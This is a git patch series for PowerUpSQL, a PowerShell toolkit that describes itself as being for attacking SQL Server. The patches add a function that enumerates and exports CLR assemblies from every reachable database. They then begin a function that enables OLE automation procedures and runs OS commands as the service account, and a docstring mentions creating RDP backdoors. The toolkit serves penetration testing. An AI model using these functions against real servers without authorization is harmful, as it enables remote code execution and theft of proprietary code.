From 910233b4a96fc29bde592c9edde02253dd4846c1 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 23 May 2017 08:47:21 -0500 Subject: [PATCH 001/145] Add Get-SQLAssemblyFile Added Get-SQLAssemblyFile function to grab a list of assembly files for each database. This could be used to recover imported .net assemblies so they can be reversed offline. --- PowerUpSQL.ps1 | 189 +++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 184 insertions(+), 5 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 8ae64f3..006744d 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.76 + Version: 1.0.0.77 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8472,6 +8472,185 @@ Function Get-SQLStoredProcedureAutoExec # ######################################################################### + +# ---------------------------------- +# Get-SQLAssemblyFile +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLAssemblyFile +{ + <# + .SYNOPSIS + Returns assembly file information for each database. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER DatabaseName + Database name to filter for. + .PARAMETER DatabaseUser + Database user to filter for. + .PARAMETER NoDefaults + Only show information for non default databases. + + .EXAMPLE + PS C:\> Get-SQLAssemblyFile -Verbose -Instance SQLServer1\Instance1 | ft -AutoSize + VERBOSE: SQLServer1\Instance1 : Connection Success. + VERBOSE: SQLServer1\Instance1 : Grabbing assembly file information from master. + VERBOSE: SQLServer1\Instance1 : Grabbing assembly file information from tempdb. + VERBOSE: SQLServer1\Instance1 : Grabbing assembly file information from msdb. + + ComputerName Instance DatabaseName assembly_id name file_id content + ------------ -------- ------------ ----------- ---- ------- ------- + MSSQLSRV04 SQLServer1\Instance1 master 1 microsoft.sqlserver.types.dll 1 77 90 144 0 3 0 0 0 4 ... + MSSQLSRV04 SQLServer1\Instance1 tempdb 1 microsoft.sqlserver.types.dll 1 77 90 144 0 3 0 0 0 4 ... + MSSQLSRV04 SQLServer1\Instance1 msdb 1 microsoft.sqlserver.types.dll 1 77 90 144 0 3 0 0 0 4 ... + + + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLAssemblyfile -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server database name.')] + [string]$DatabaseName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Do not show database users associated with default databases.')] + [Switch]$NoDefaults, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblAssemblyFiles = New-Object -TypeName System.Data.DataTable + $null = $TblAssemblyFiles.Columns.Add('ComputerName') + $null = $TblAssemblyFiles.Columns.Add('Instance') + $null = $TblAssemblyFiles.Columns.Add('DatabaseName') + $null = $TblAssemblyFiles.Columns.Add('assembly_id') + $null = $TblAssemblyFiles.Columns.Add('name') + $null = $TblAssemblyFiles.Columns.Add('file_id') + $null = $TblAssemblyFiles.Columns.Add('content') + } + + Process + { + # Note: Tables queried by this function typically require sysadmin or DBO privileges. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Get list of databases + if($NoDefaults) + { + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose -NoDefaults + } + else + { + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose + } + + # Get the privs for each database + $TblDatabases | + ForEach-Object -Process { + # Set DatabaseName filter + $DbName = $_.DatabaseName + + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Grabbing assembly file information from $DbName." + } + + # Define Query + $Query = "USE $DbName; + SELECT * FROM sys.assembly_files" + + # Execute Query + $TblAssemblyFilesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Add each result to table + $TblAssemblyFilesTemp | + ForEach-Object -Process { + + # Add results to table + $null = $TblAssemblyFiles.Rows.Add( + [string]$ComputerName, + [string]$Instance, + [string]$DbName, + [string]$_.assembly_id, + [string]$_.name, + [string]$_.file_id, + [string]$_.content) + } + } + } + + End + { + # Return data + $TblAssemblyFiles + } +} + + # ---------------------------------- # Get-SQLFuzzObjectName # ---------------------------------- @@ -12155,7 +12334,7 @@ Function Get-SQLPersistRegDebugger .SYNOPSIS This function uses xp_regwrite to configure a debugger for a provided executable (utilman.exe by default), which will run another provided - executable (cmd.exe by default) when it’s called. It is commonly used + executable (cmd.exe by default) when it’s called. It is commonly used to create RDP backdoors. The specific registry key is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options[EXE]. Sysadmin privileges are required. @@ -18608,7 +18787,7 @@ function Test-IsLuhnValid .OUTPUTS System.Boolean .NOTES - Author: ØYVIND KALLSTAD + Author: ØYVIND KALLSTAD Date: 19.02.2016 Version: 1.0 Dependencies: Get-LuhnCheckSum, ConvertTo-Digits @@ -18643,7 +18822,7 @@ function Test-IsLuhnValid # ------------------------------------------- # Function: ConvertTo-Digits # ------------------------------------------- -# Author: ØYVIND KALLSTAD +# Author: ØYVIND KALLSTAD # Source: https://communary.net/2016/02/19/the-luhn-algorithm/ function ConvertTo-Digits { @@ -18660,7 +18839,7 @@ function ConvertTo-Digits https://communary.wordpress.com/ https://github.com/gravejester/Communary.ToolBox .NOTES - Author: ØYVIND KALLSTAD + Author: ØYVIND KALLSTAD Date: 09.05.2015 Version: 1.0 #> From 7f9dc8fd096fc3c7baa86482573295789632f6ee Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 23 May 2017 08:48:17 -0500 Subject: [PATCH 002/145] add Get-SQLAssemblyFile --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 90dca07..5e62cb6 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.76' + ModuleVersion = '1.0.0.77' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -11,6 +11,7 @@ 'Create-SQLFileXpDll', 'Create-SQLFileCLRDll', 'Get-SQLAgentJob', + 'Get-SQLAssemblyFile', 'Get-SQLAuditDatabaseSpec', 'Get-SQLAuditServerSpec', 'Get-SQLColumn', From f12552e85cfcb7fdda704b961eca29297b54c35f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 23 May 2017 08:48:47 -0500 Subject: [PATCH 003/145] add Get-SQLAssemblyFile placeholder --- tests/PowerUpSQLTests.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/PowerUpSQLTests.ps1 b/tests/PowerUpSQLTests.ps1 index 8c326d7..0e9d314 100644 --- a/tests/PowerUpSQLTests.ps1 +++ b/tests/PowerUpSQLTests.ps1 @@ -20,6 +20,7 @@ Get-SQLInstanceScanUDP Get-SQLInstanceScanUDPThreaded Invoke-SQLOSCmdCLR Create-SQLFileCLRDll +Get-SQLAssemblyFile #> #endregion From fae21df9bd764364dd94d92d1017668c99813d89 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 26 May 2017 08:44:43 -0500 Subject: [PATCH 004/145] Add AssemblyName switch to Get-SQLAssemblyfile Add AssemblyName switch to Get-SQLAssemblyfile --- PowerUpSQL.ps1 | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 006744d..2b3df10 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.77 + Version: 1.0.0.78 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8498,6 +8498,8 @@ Function Get-SQLAssemblyFile Database user to filter for. .PARAMETER NoDefaults Only show information for non default databases. + .PARAMETER AssemblyName + Filter for assembly names that contain the provided word. .EXAMPLE PS C:\> Get-SQLAssemblyFile -Verbose -Instance SQLServer1\Instance1 | ft -AutoSize @@ -8541,6 +8543,11 @@ Function Get-SQLAssemblyFile HelpMessage = 'SQL Server database name.')] [string]$DatabaseName, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Filter for filenames.')] + [string]$AssemblyName, + [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Do not show database users associated with default databases.')] @@ -8608,6 +8615,13 @@ Function Get-SQLAssemblyFile $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -DatabaseName $DatabaseName -SuppressVerbose } + # Setup assembly name filter + if($AssemblyName){ + $AssemblyNameQuery = "WHERE name LIKE '%$AssemblyName%'" + }else{ + $AssemblyNameQuery = "" + } + # Get the privs for each database $TblDatabases | ForEach-Object -Process { @@ -8621,7 +8635,8 @@ Function Get-SQLAssemblyFile # Define Query $Query = "USE $DbName; - SELECT * FROM sys.assembly_files" + SELECT * FROM sys.assembly_files + $AssemblyNameQuery" # Execute Query $TblAssemblyFilesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From 11fa01aefded845bc3aa239d92c7e21f29933771 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 26 May 2017 08:45:01 -0500 Subject: [PATCH 005/145] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 5e62cb6..762e106 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.77' + ModuleVersion = '1.0.0.78' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 157f180560bd36244afc1a2fd952efeb83e7dc2d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 26 May 2017 21:27:31 -0500 Subject: [PATCH 006/145] Update query for Get-SQLAssemblyFile Update query for Get-SQLAssemblyFile --- PowerUpSQL.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 2b3df10..17d872f 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.78 + Version: 1.0.0.79 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8617,7 +8617,7 @@ Function Get-SQLAssemblyFile # Setup assembly name filter if($AssemblyName){ - $AssemblyNameQuery = "WHERE name LIKE '%$AssemblyName%'" + $AssemblyNameQuery = "WHERE af.name LIKE '%$AssemblyName%'" }else{ $AssemblyNameQuery = "" } @@ -8635,7 +8635,8 @@ Function Get-SQLAssemblyFile # Define Query $Query = "USE $DbName; - SELECT * FROM sys.assembly_files + SELECT af.assembly_id,af.name,af.file_id,af.content FROM sys.assemblies + a INNER JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id $AssemblyNameQuery" # Execute Query From 997cef2ad7c8266615e8c06092ff591a90b218c8 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 26 May 2017 22:04:17 -0500 Subject: [PATCH 007/145] Add export option for Get-SQLAssemblyFile Exported DLLs anyone? :) Now we can quickly export and decompile custom SQL Server assemblies on scale. Get-SQLInstanceDomain -Verbose | Get-SQLAssemblyFile -Verbose -Export c:\temp Then the .net DLLs can be reversed with dnspy or your favorite decompiler. Enjoy :) --- PowerUpSQL.ps1 | 34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 17d872f..a068b61 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.79 + Version: 1.0.0.80 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8498,6 +8498,8 @@ Function Get-SQLAssemblyFile Database user to filter for. .PARAMETER NoDefaults Only show information for non default databases. + .PARAMETER ExportFolder + Folder to export CLR DLL files to. .PARAMETER AssemblyName Filter for assembly names that contain the provided word. @@ -8548,6 +8550,11 @@ Function Get-SQLAssemblyFile HelpMessage = 'Filter for filenames.')] [string]$AssemblyName, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Folder to export DLLs to.')] + [string]$ExportFolder, + [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Do not show database users associated with default databases.')] @@ -8655,6 +8662,31 @@ Function Get-SQLAssemblyFile [string]$_.name, [string]$_.file_id, [string]$_.content) + + # Export dll + if($ExportFolder){ + + # Create server subfolder if it doesnt exist + $ServerPath = "$ExportFolder\$ComputerName" + If ((test-path $Serverpath) -eq $False){ + Write-Verbose "$instance : Creating server folder: $ServerPath" + $null = New-Item -Path "$ServerPath" -type directory + } + + # Create database subfolder if it doesnt exist + $Databasepath = "$ServerPath\$DbName" + If ((test-path $Databasepath) -eq $False){ + Write-Verbose "$instance : Creating database folder: $Databasepath" + $null = New-Item $Databasepath -type directory + } + + # Create dll file if it doesnt exist + $CLRFilename = $_.name + Write-Verbose "$instance : - Exporting $CLRFilename.dll" + $FullExportPath = "$Databasepath\$CLRFilename.dll" + $_.content | Set-Content -Encoding Byte $FullExportPath + + } } } } From da0028cd09984291eb0a23d760ec60d6a9db0cce Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 26 May 2017 22:05:01 -0500 Subject: [PATCH 008/145] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 762e106..d97a1f2 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.78' + ModuleVersion = '1.0.0.80' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 119da158155ffc2bc64d0735c5df6e63c3921923 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 27 May 2017 16:48:21 -0500 Subject: [PATCH 009/145] Add columns to output of get-assemblyfile Add columns to output of get-assemblyfile - create_date - modify_date - is_userdefined - clr_name --- PowerUpSQL.ps1 | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a068b61..93019cb 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.80 + Version: 1.0.0.81 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8574,8 +8574,13 @@ Function Get-SQLAssemblyFile $null = $TblAssemblyFiles.Columns.Add('DatabaseName') $null = $TblAssemblyFiles.Columns.Add('assembly_id') $null = $TblAssemblyFiles.Columns.Add('name') + $null = $TblAssemblyFiles.Columns.Add('clr_name') $null = $TblAssemblyFiles.Columns.Add('file_id') $null = $TblAssemblyFiles.Columns.Add('content') + $null = $TblAssemblyFiles.Columns.Add('permission_set_desc') + $null = $TblAssemblyFiles.Columns.Add('create_date') + $null = $TblAssemblyFiles.Columns.Add('modify_date') + $null = $TblAssemblyFiles.Columns.Add('is_user_defined') } Process @@ -8642,8 +8647,16 @@ Function Get-SQLAssemblyFile # Define Query $Query = "USE $DbName; - SELECT af.assembly_id,af.name,af.file_id,af.content FROM sys.assemblies - a INNER JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id + SELECT af.assembly_id, + af.name, + a.clr_name, + af.file_id, + af.content, + a.permission_set_desc, + a.create_date, + a.modify_date, + a.is_user_defined + FROM sys.assemblies a INNER JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id $AssemblyNameQuery" # Execute Query @@ -8660,8 +8673,13 @@ Function Get-SQLAssemblyFile [string]$DbName, [string]$_.assembly_id, [string]$_.name, + [string]$_.clr_name, [string]$_.file_id, - [string]$_.content) + [string]$_.content, + [string]$_.permission_set_desc, + [string]$_.create_date, + [string]$_.modify_date, + [string]$_.is_user_defined) # Export dll if($ExportFolder){ From 2731115d98499e8e9dca4035f8ec43c209f23731 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 27 May 2017 16:48:37 -0500 Subject: [PATCH 010/145] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index d97a1f2..5775fd7 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.80' + ModuleVersion = '1.0.0.81' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From adb761e1af1fba86ffb86cfb17c96fd8ba27a067 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 27 May 2017 17:07:24 -0500 Subject: [PATCH 011/145] Update get-sqlassemblyfile dll export update folder structure for exported dlls to include instance name --- PowerUpSQL.ps1 | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 93019cb..a2cc2b7 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.81 + Version: 1.0.0.82 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8683,9 +8683,17 @@ Function Get-SQLAssemblyFile # Export dll if($ExportFolder){ + + # Create export folder + $ExportOutputFolder = "$ExportFolder\CLRExports" + If ((test-path $ExportOutputFolder) -eq $False){ + Write-Verbose "$instance : Creating export folder: $ExportOutputFolder" + $null = New-Item -Path "$ExportOutputFolder" -type directory + } - # Create server subfolder if it doesnt exist - $ServerPath = "$ExportFolder\$ComputerName" + # Create instance subfolder if it doesnt exist + $InstanceClean = $Instance -replace('\\','_') + $ServerPath = "$ExportOutputFolder\$InstanceClean" If ((test-path $Serverpath) -eq $False){ Write-Verbose "$instance : Creating server folder: $ServerPath" $null = New-Item -Path "$ServerPath" -type directory From b879d1df17830606fb26304b90131f0066856d62 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 27 May 2017 17:07:37 -0500 Subject: [PATCH 012/145] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 5775fd7..4db09db 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.81' + ModuleVersion = '1.0.0.82' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 0420e2f2ac279a2f8d68ebeb0e8aacc342a16aec Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 31 May 2017 22:35:49 -0500 Subject: [PATCH 013/145] Add invoke-sqloscmdole invoke-sqloscmdole supports command execution through SQL Server using ole automation procedures. --- PowerUpSQL.ps1 | 380 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 379 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a2cc2b7..f8b7874 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.82 + Version: 1.0.0.83 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1225,6 +1225,384 @@ Function Invoke-SQLOSCmd } +# ---------------------------------- +# Invoke-SQLOSCmdOle +# ---------------------------------- +# Author: Scott Sutherland +# Reference: https://technet.microsoft.com/en-us/library/ee156605.aspx +# Reference: https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option +Function Invoke-SQLOSCmdOle +{ + <# + .SYNOPSIS + Execute command on the operating system as the SQL Server service account using OLE automation procedures. + Supports threading, raw output, and table output. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Command + Operating command to be executed on the SQL Server. + .PARAMETER RawResults + Just show the raw results without the computer or instance name. + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Invoke-SQLOSCmdOle -Verbose -Command "whoami" + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04 : Connection Failed. + VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. + VERBOSE: MSSQLSRV04\BOSCHSQL : You are not a sysadmin. This command requires sysadmin privileges. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : OLE Automation Procedues are already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Running command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2016 : Connection Failed. + VERBOSE: Closing the runspace pool + + ComputerName Instance CommandResults + ------------ -------- -------------- + MSSQLSRV04 MSSQLSRV04\BOSCHSQL No sysadmin privileges. + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 nt authority\system + MSSQLSRV04 MSSQLSRV04\SQLSERVER2016 Not Accessible + + .EXAMPLE + PS C:\> Invoke-SQLOSCmdOle -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Command "whoami" -RawResults + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Show Advanced Options. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Ole Automation Procedures are disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Ole Automation Procedures. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Executing command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Reading command output from c:\windows\temp\OlHZP.txt + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Removing file c:\windows\temp\OlHZP.txt + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling 'Ole Automation Procedures + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options + + nt authority\system + + VERBOSE: Closing the runspace pool + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command = "whoami", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('CommandResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track Ole Automation Procedures status + $DisableShowAdvancedOptions = 0 + $DisableOle = 0 + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if OLE Automation Procedures are enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsOleEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures'" -Username $Username -Password $Password -Credential 